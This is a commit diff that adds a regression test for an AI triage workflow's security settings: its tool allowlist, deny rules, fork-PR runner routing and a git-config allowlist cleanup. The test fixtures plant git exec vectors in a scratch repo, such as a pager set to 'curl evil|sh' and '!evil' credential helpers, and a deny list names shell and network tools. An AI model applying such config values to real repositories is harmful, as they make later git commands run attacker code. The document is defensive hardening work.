test(triage): regression-guard the triage workflow, and make the git cleanup an allowlist (#7660)

Guards the security-critical invariants of qwen-triage.yml that broke silently
once already — the `settings_json:` input name was wrong, so the action dropped
it and the review agent ran with the full default toolset and no deny list.
A new `node:test` suite (wired into the shared HELPER_TESTS list both CI paths
run) asserts: the `settings:` input name (never `settings_json:`), the
tools.core registration whitelist and the deny list, the fork-PR runner routing
invariants, and the git exec-vector cleanup.

It also flips that cleanup from a best-effort denylist — which kept missing new
families (pager, filter.*, includeIf subsections, url.*, credential…) — to a
keep-known-safe allowlist: unset every local config key that isn't plumbing
actions/checkout needs (repo format, remote, branch, fetch/gc/pack/index,
safe.directory, extensions, submodule url/active/branch — not submodule.*.update,
which can be `!cmd`). This closes the whole exec-vector class, including knobs
not yet enumerated. The harness runs the workflow's actual allowlist pattern
against a scratch repo to prove it unsets every exec family and preserves the
checkout plumbing.

Co-authored-by: verify <verify@local>

.github/scripts/qwen-triage-workflow.test.mjs

@@ -0,0 +1,215 @@
+// Regression guards for the security-critical invariants of the Qwen Triage
+// workflow. These broke silently once already: the `settings_json:` input name
+// was wrong (the action reads `settings:`), so it was dropped and the review
+// agent ran with the full default toolset and no deny list. A future edit that
+// renames the key back, weakens the deny list, loosens the fork-PR runner
+// routing, or breaks the git exec-vector cleanup would have no other test to
+// catch it — this file is that test.
+import assert from 'node:assert/strict';
+import { spawnSync } from 'node:child_process';
+import { mkdtempSync, readFileSync, rmSync } from 'node:fs';
+import { tmpdir } from 'node:os';
+import { dirname, join } from 'node:path';
+import { after, before, describe, it } from 'node:test';
+import { fileURLToPath } from 'node:url';
+import { parse } from 'yaml';
+
+const workflowPath = join(
+  dirname(fileURLToPath(import.meta.url)),
+  '..',
+  'workflows',
+  'qwen-triage.yml',
+);
+const doc = parse(readFileSync(workflowPath, 'utf8'));
+const triageJob = doc.jobs.triage;
+const steps = triageJob.steps;
+const triageStep = steps.find((s) => s.id === 'triage');
+const cleanStep = steps.find((s) => s.name === 'Clean stale agent state');
+
+describe('qwen-triage: agent tool/permission settings', () => {
+  it('passes `settings:` (not the silently-dropped `settings_json:`)', () => {
+    assert.ok(triageStep, 'triage step (id: triage) must exist');
+    assert.ok(
+      typeof triageStep.with.settings === 'string',
+      'triage step must pass a `settings` string',
+    );
+    assert.equal(
+      triageStep.with.settings_json,
+      undefined,
+      '`settings_json` is silently ignored by the action — never use it',
+    );
+  });
+
+  it('settings is valid JSON that restricts the toolset', () => {
+    const settings = JSON.parse(triageStep.with.settings);
+    const core = settings.tools?.core;
+    assert.ok(Array.isArray(core), 'tools.core must be an array (registration allowlist)');
+    for (const t of [
+      'run_shell_command',
+      'read_file',
+      'grep_search',
+      'glob',
+      'write_file',
+      'agent',
+      'enter_worktree',
+      'exit_worktree',
+    ]) {
+      assert.ok(core.includes(t), `tools.core must include ${t}`);
+    }
+    // The whitelist exists to drop network/persistence tools an injected agent
+    // could exfiltrate through — they must not be registered.
+    for (const forbidden of ['web_fetch', 'web_search', 'save_memory']) {
+      assert.ok(
+        !core.includes(forbidden),
+        `tools.core must NOT register ${forbidden}`,
+      );
+    }
+  });
+
+  it('settings denies interpreters, network, and PR-code-materializing git/gh', () => {
+    const deny = JSON.parse(triageStep.with.settings).permissions?.deny ?? [];
+    for (const d of [
+      'run_shell_command(node)',
+      'run_shell_command(npm)',
+      'run_shell_command(bash)',
+      'run_shell_command(curl)',
+      'run_shell_command(git fetch)',
+      'run_shell_command(git checkout)',
+      'run_shell_command(gh pr checkout)',
+    ]) {
+      assert.ok(deny.includes(d), `permissions.deny must include ${d}`);
+    }
+    // No sandbox key: the ECS pool ships no container runtime, and adding one
+    // would silently disable the step.
+    assert.equal(
+      JSON.parse(triageStep.with.settings).sandbox,
+      undefined,
+      'settings must not set a sandbox key',
+    );
+  });
+});
+
+describe('qwen-triage: fork-PR runner routing', () => {
+  const runsOn = String(triageJob['runs-on']);
+
+  it('gates the persistent ECS pool on same-repo (fork code never persists)', () => {
+    assert.match(runsOn, /head\.repo\.full_name == github\.repository/);
+    assert.match(runsOn, /ecs-qwen/);
+  });
+
+  it('falls back to an ephemeral hosted runner', () => {
+    assert.match(runsOn, /ubuntu-latest/);
+  });
+
+  it('keeps issue triage on ECS (issues carry no foreign code)', () => {
+    assert.match(runsOn, /github\.event_name == 'issues'/);
+  });
+});
+
+describe('qwen-triage: git exec-vector cleanup', () => {
+  it('exists and uses a keep-known-safe allowlist (invert-match), not a denylist', () => {
+    assert.ok(cleanStep, "'Clean stale agent state' step must exist");
+    assert.match(cleanStep.run, /git config --local --name-only --list/);
+    assert.match(cleanStep.run, /grep -ivE/, 'must invert-match an allowlist');
+    assert.match(cleanStep.run, /--unset-all/);
+  });
+
+  it('sweeps symlinked hooks, not just regular files', () => {
+    assert.match(
+      cleanStep.run,
+      /-type f\s+-o\s+-type l/,
+      'hook find must match -type f OR -type l (a symlinked hook survives a bare -type f)',
+    );
+  });
+
+  // Behavioral test: run the workflow's *actual* allowlist pattern (extracted
+  // from the step) against a scratch repo. Proves the regex both unsets exec
+  // vectors and preserves the plumbing actions/checkout needs — a broken
+  // pattern (e.g. accidentally allowing `filter.`, or dropping `remote.`) fails
+  // here even though the structural assertions above still pass.
+  describe('allowlist behavior (workflow pattern, real git)', () => {
+    const patternMatch = cleanStep.run.match(/grep -ivE '([^']+)'/);
+    let dir;
+
+    before(() => {
+      assert.ok(
+        patternMatch,
+        'clean step must contain a single-quoted `grep -ivE` allowlist',
+      );
+      dir = mkdtempSync(join(tmpdir(), 'triage-cfg-'));
+      const set = (k, v) =>
+        spawnSync('git', ['-C', dir, 'config', '--local', k, v]);
+      spawnSync('git', ['-C', dir, 'init', '-q']);
+      // plumbing actions/checkout needs (must survive)
+      set('core.repositoryformatversion', '0');
+      set('remote.origin.url', 'https://github.com/x/y');
+      set('remote.origin.fetch', '+refs/heads/*:refs/remotes/origin/*');
+      set('branch.main.remote', 'origin');
+      set('safe.directory', dir);
+      set('submodule.s.url', 'https://github.com/x/s');
+      // exec vectors across every family (must be unset)
+      set('core.hooksPath', '/evil');
+      set('core.pager', 'curl evil|sh');
+      set('core.fsmonitor', '/evil');
+      set('filter.lfs.process', 'evil');
+      set('url.https://evil/.insteadOf', 'https://github.com/');
+      set('credential.helper', '!evil');
+      set('includeIf.gitdir:/x/.path', '/evil');
+      set('include.path', '/evil');
+      set('alias.st', '!evil');
+      set('submodule.s.update', '!cmd');
+      set('sequence.editor', 'evil');
+      set('diff.external', 'evil');
+      // apply the workflow's own pipeline (real grep + git, not a JS re-impl)
+      const script =
+        'git config --local --name-only --list 2>/dev/null ' +
+        `| grep -ivE '${patternMatch[1]}' ` +
+        '| while IFS= read -r key; do git config --local --unset-all "$key" 2>/dev/null || true; done';
+      const res = spawnSync('bash', ['-c', script], {
+        cwd: dir,
+        encoding: 'utf8',
+        env: { ...process.env, GIT_DIR: join(dir, '.git') },
+      });
+      assert.equal(res.status, 0, res.stderr);
+    });
+
+    after(() => dir && rmSync(dir, { recursive: true, force: true }));
+
+    const remaining = () =>
+      spawnSync('git', ['-C', dir, 'config', '--local', '--name-only', '--list'], {
+        encoding: 'utf8',
+      }).stdout.toLowerCase();
+
+    for (const vec of [
+      'hookspath',
+      'core.pager',
+      'fsmonitor',
+      'filter.',
+      'url.https',
+      'credential',
+      'includeif',
+      'include.path',
+      'alias.',
+      'submodule.s.update',
+      'sequence.editor',
+      'diff.external',
+    ]) {
+      it(`unsets exec vector: ${vec}`, () => {
+        assert.doesNotMatch(remaining(), new RegExp(vec.replace(/\./g, '\\.')));
+      });
+    }
+
+    for (const kept of [
+      'core.repositoryformatversion',
+      'remote.origin.url',
+      'remote.origin.fetch',
+      'branch.main.remote',
+      'safe.directory',
+      'submodule.s.url',
+    ]) {
+      it(`preserves checkout plumbing: ${kept}`, () => {
+        assert.match(remaining(), new RegExp(kept.replace(/\./g, '\\.')));
+      });
+    }
+  });
+});

.github/workflows/ci.yml

@@ -50,7 +50,7 @@ env:
   # BOTH the github_ci_only helper step and the full-profile Test step, so a
   # new helper test can't be added to one path and silently dropped from the
   # other.
-  HELPER_TESTS: '.github/scripts/pr-safety-precheck.test.mjs .github/scripts/ci/classify-profile.test.mjs .github/scripts/classify-release-notes.test.mjs .github/scripts/resolve-sandbox-image.test.mjs .github/scripts/web-shell-visuals-publish.test.mjs .github/scripts/web-shell-visuals-compose.test.mjs .github/scripts/serve-ab-diff.test.mjs'
+  HELPER_TESTS: '.github/scripts/pr-safety-precheck.test.mjs .github/scripts/ci/classify-profile.test.mjs .github/scripts/classify-release-notes.test.mjs .github/scripts/resolve-sandbox-image.test.mjs .github/scripts/web-shell-visuals-publish.test.mjs .github/scripts/web-shell-visuals-compose.test.mjs .github/scripts/serve-ab-diff.test.mjs .github/scripts/qwen-triage-workflow.test.mjs'
 
 jobs:
   classify_pr:

.github/workflows/qwen-triage.yml

@@ -248,23 +248,24 @@ jobs:
             exit 0
           fi
           # Neutralize git exec vectors a prior run could have planted in the
-          # persistent workspace: local config knobs that make a later git
-          # invocation run a command, and hook scripts. The knobs span several
-          # families — hooksPath/fsmonitor, the pager/editor/diff.external/
-          # sshCommand that fire on the plain `git log`/`diff`/`show` triage
-          # runs, filter.*.{clean,smudge,process} (run on checkout via
-          # .gitattributes), credential.helper, url.*.insteadOf, init.templateDir,
-          # aliases, and include/includeIf which pull any of them back in from an
-          # arbitrary file. Enumerate the actual keys and --unset-all each:
-          # --remove-section cannot target an includeIf subsection like
-          # [includeIf "gitdir:…"] (it errors "no such section" and the `|| true`
-          # hides it), but unsetting the resolved key removes it. This is a
-          # best-effort denylist for defense-in-depth (the `run_shell_command(git
-          # config)` deny rule already stops the current run from planting these);
-          # a keep-known-safe config allowlist is the exhaustive end-state, tracked
-          # with the workflow-test-harness follow-up since it needs a checkout test.
+          # persistent workspace's local config, plus hook scripts. A later git
+          # command runs an attacker command via any of a long, open-ended set of
+          # knobs — core.{hooksPath,fsmonitor,pager,editor,sshCommand},
+          # sequence.editor, diff.external, filter.*.{clean,smudge,process},
+          # credential.helper, url.*.insteadOf, init.templateDir, aliases, and
+          # include/includeIf which pull any of them in from an arbitrary file.
+          # Rather than denylist each family (which kept missing new ones), KEEP
+          # a known-safe allowlist and --unset-all everything else: this closes
+          # the whole class, including knobs not yet enumerated. The kept set is
+          # only plumbing that carries no command — repo format, remote, branch,
+          # fetch/gc/pack/index, safe.directory, extensions, and submodule
+          # url/active/branch (NOT submodule.*.update, which can be `!cmd`).
+          # actions/checkout re-establishes remote/auth/fetch afterward, and it
+          # overwrites remote.origin.url, so a planted `ext::` transport URL kept
+          # here is replaced before any fetch. --unset-all handles resolved
+          # includeIf subsections that --remove-section cannot target.
           git config --local --name-only --list 2>/dev/null \
-            | grep -iE '^(core\.(hookspath|fsmonitor|pager|editor|sshcommand)|sequence\.editor|diff\.external|filter\.|credential\.|url\.|init\.templatedir|pager\.|alias\.|include\.|includeif\.)' \
+            | grep -ivE '^(core\.(repositoryformatversion|bare|filemode|symlinks|ignorecase|precomposeunicode|logallrefupdates|worktree|hidedotfiles|protecthfs|protectntfs)|remote\.|branch\.|extensions\.|gc\.|pack\.|fetch\.|index\.|safe\.|submodule\.[^.]+\.(url|active|branch))' \
             | while IFS= read -r key; do git config --local --unset-all "$key" 2>/dev/null || true; done
           HOOKS_DIR="$(git rev-parse --git-path hooks 2>/dev/null || echo .git/hooks)"
           # Match -type f OR -type l: a symlinked hook (e.g. post-checkout ->